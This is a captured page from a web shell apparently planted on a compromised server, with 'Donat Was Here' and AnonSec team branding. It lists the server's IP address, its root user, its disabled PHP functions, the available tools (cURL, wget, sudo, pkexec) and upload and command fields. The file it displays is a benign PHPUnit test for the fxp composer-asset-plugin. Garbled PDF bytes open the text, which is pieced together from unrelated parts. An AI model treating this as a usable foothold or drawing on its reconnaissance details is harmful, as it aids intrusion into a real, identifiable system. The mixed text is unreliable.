%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Composer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Composer/ScriptHandlerTest.php
<?php

/*
 * This file is part of the Fxp Composer Asset Plugin package.
 *
 * (c) François Pluchino <francois.pluchino@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Fxp\Composer\AssetPlugin\Tests\Composer;

use Composer\Composer;
use Composer\DependencyResolver\Operation\InstallOperation;
use Composer\DependencyResolver\Operation\OperationInterface;
use Composer\DependencyResolver\Operation\UpdateOperation;
use Composer\DependencyResolver\PolicyInterface;
use Composer\DependencyResolver\Pool;
use Composer\DependencyResolver\Request;
use Composer\Installer\PackageEvent;
use Composer\IO\IOInterface;
use Composer\Package\PackageInterface;
use Composer\Plugin\PluginManager;
use Composer\Repository\CompositeRepository;
use Fxp\Composer\AssetPlugin\Composer\ScriptHandler;
use Fxp\Composer\AssetPlugin\Config\Config;
use Fxp\Composer\AssetPlugin\FxpAssetPlugin;

/**
 * Tests for the composer script handler.
 *
 * @author François Pluchino <francois.pluchino@gmail.com>
 *
 * @internal
 */
final class ScriptHandlerTest extends \PHPUnit\Framework\TestCase
{
    /**
     * @var Composer|\PHPUnit_Framework_MockObject_MockObject
     */
    protected $composer;

    /**
     * @var Config
     */
    protected $config;

    /**
     * @var IOInterface|\PHPUnit_Framework_MockObject_MockObject
     */
    protected $io;

    /**
     * @var InstallOperation|OperationInterface|\PHPUnit_Framework_MockObject_MockObject|UpdateOperation
     */
    protected $operation;

    /**
     * @var PackageInterface|\PHPUnit_Framework_MockObject_MockObject
     */
    protected $package;

    protected function setUp()
    {
        $this->composer = $this->getMockBuilder('Composer\Composer')->getMock();
        $this->io = $this->getMockBuilder('Composer\IO\IOInterface')->getMock();
        $this->package = $this->getMockBuilder('Composer\Package\PackageInterface')->getMock();

        $this->config = $this->getMockBuilder('Composer\Config')->getMock();
        $this->config->expects($this->any())
            ->method('get')
            ->will($this->returnCallback(function ($key) {
                $val = null;

                switch ($key) {
                    case 'cache-repo-dir':
                        return sys_get_temp_dir().'/composer-test-repo-cache';
                    case 'vendor-dir':
                        return sys_get_temp_dir().'/composer-test/vendor';
                }

                return $val;
            }))
        ;

        $rootPackage = $this->getMockBuilder('Composer\Package\RootPackageInterface')->getMock();

        $this->composer->expects($this->any())
            ->method('getConfig')
            ->will($this->returnValue($this->config))
        ;
        $this->composer->expects($this->any())
            ->method('getPackage')
            ->will($this->returnValue($rootPackage))
        ;

        $plugin = $this->getMockBuilder(FxpAssetPlugin::class)->disableOriginalConstructor()->getMock();
        $plugin->expects($this->any())
            ->method('getConfig')
            ->willReturn(new Config(array()))
        ;

        $pm = $this->getMockBuilder(PluginManager::class)->disableOriginalConstructor()->getMock();
        $pm->expects($this->any())
            ->method('getPlugins')
            ->willReturn(array($plugin))
        ;

        $this->composer->expects($this->any())
            ->method('getPluginManager')
            ->will($this->returnValue($pm))
        ;
    }

    protected function tearDown()
    {
        $this->composer = null;
        $this->io = null;
        $this->operation = null;
        $this->package = null;
    }

    public function getPackageComposerTypes()
    {
        return array(
            array('npm-asset-library'),
            array('bower-asset-library'),
            array('library'),
        );
    }

    /**
     * @dataProvider getPackageComposerTypes
     *
     * @param string $composerType
     */
    public function testDeleteIgnoreFiles($composerType)
    {
        $this->operation = $this->getMockBuilder('Composer\DependencyResolver\Operation\OperationInterface')->getMock();
        $this->assertInstanceOf('Composer\DependencyResolver\Operation\OperationInterface', $this->operation);

        ScriptHandler::deleteIgnoredFiles($this->createEvent($composerType));
    }

    /**
     * @dataProvider getPackageComposerTypes
     *
     * @param string $composerType
     */
    public function testDeleteIgnoreFilesWithInstallOperation($composerType)
    {
        $this->operation = $this->getMockBuilder('Composer\DependencyResolver\Operation\InstallOperation')
            ->disableOriginalConstructor()
            ->getMock()
        ;
        $this->assertInstanceOf('Composer\DependencyResolver\Operation\OperationInterface', $this->operation);

        ScriptHandler::deleteIgnoredFiles($this->createEvent($composerType));
    }

    /**
     * @dataProvider getPackageComposerTypes
     *
     * @param string $composerType
     */
    public function testDeleteIgnoreFilesWithUpdateOperation($composerType)
    {
        $this->operation = $this->getMockBuilder('Composer\DependencyResolver\Operation\UpdateOperation')
            ->disableOriginalConstructor()
            ->getMock()
        ;
        $this->assertInstanceOf('Composer\DependencyResolver\Operation\OperationInterface', $this->operation);

        ScriptHandler::deleteIgnoredFiles($this->createEvent($composerType));
    }

    /**
     * @dataProvider getPackageComposerTypes
     *
     * @param string $composerType
     *
     * @expectedException \RuntimeException
     * @expectedExceptionMessage The fxp composer asset plugin is not found
     */
    public function testGetConfig($composerType)
    {
        $rootPackage = $this->getMockBuilder('Composer\Package\RootPackageInterface')->getMock();

        $this->composer = $this->getMockBuilder('Composer\Composer')->getMock();
        $this->composer->expects($this->any())
            ->method('getConfig')
            ->will($this->returnValue($this->config))
        ;
        $this->composer->expects($this->any())
            ->method('getPackage')
            ->will($this->returnValue($rootPackage))
        ;

        $pm = $this->getMockBuilder(PluginManager::class)->disableOriginalConstructor()->getMock();
        $pm->expects($this->any())
            ->method('getPlugins')
            ->willReturn(array())
        ;

        $this->composer->expects($this->any())
            ->method('getPluginManager')
            ->will($this->returnValue($pm))
        ;

        $this->operation = $this->getMockBuilder('Composer\DependencyResolver\Operation\OperationInterface')->getMock();

        ScriptHandler::getConfig($this->createEvent($composerType));
    }

    /**
     * @param string $composerType
     *
     * @return PackageEvent
     */
    protected function createEvent($composerType)
    {
        $this->package->expects($this->any())
            ->method('getType')
            ->will($this->returnValue($composerType))
        ;

        if ($this->operation instanceof UpdateOperation) {
            $this->operation->expects($this->any())
                ->method('getTargetPackage')
                ->will($this->returnValue($this->package))
            ;
        }

        if ($this->operation instanceof InstallOperation) {
            $this->operation->expects($this->any())
                ->method('getPackage')
                ->will($this->returnValue($this->package))
            ;
        }

        /** @var PolicyInterface $policy */
        $policy = $this->getMockBuilder('Composer\DependencyResolver\PolicyInterface')->getMock();
        /** @var Pool $pool */
        $pool = $this->getMockBuilder('Composer\DependencyResolver\Pool')->disableOriginalConstructor()->getMock();
        /** @var CompositeRepository $installedRepo */
        $installedRepo = $this->getMockBuilder('Composer\Repository\CompositeRepository')->disableOriginalConstructor()->getMock();
        /** @var Request $request */
        $request = $this->getMockBuilder('Composer\DependencyResolver\Request')->disableOriginalConstructor()->getMock();
        $operations = array($this->getMockBuilder('Composer\DependencyResolver\Operation\OperationInterface')->getMock());

        return new PackageEvent('foo-event', $this->composer, $this->io, true, $policy, $pool, $installedRepo, $request, $operations, $this->operation);
    }
}

Anon7 - 2022
AnonSec Team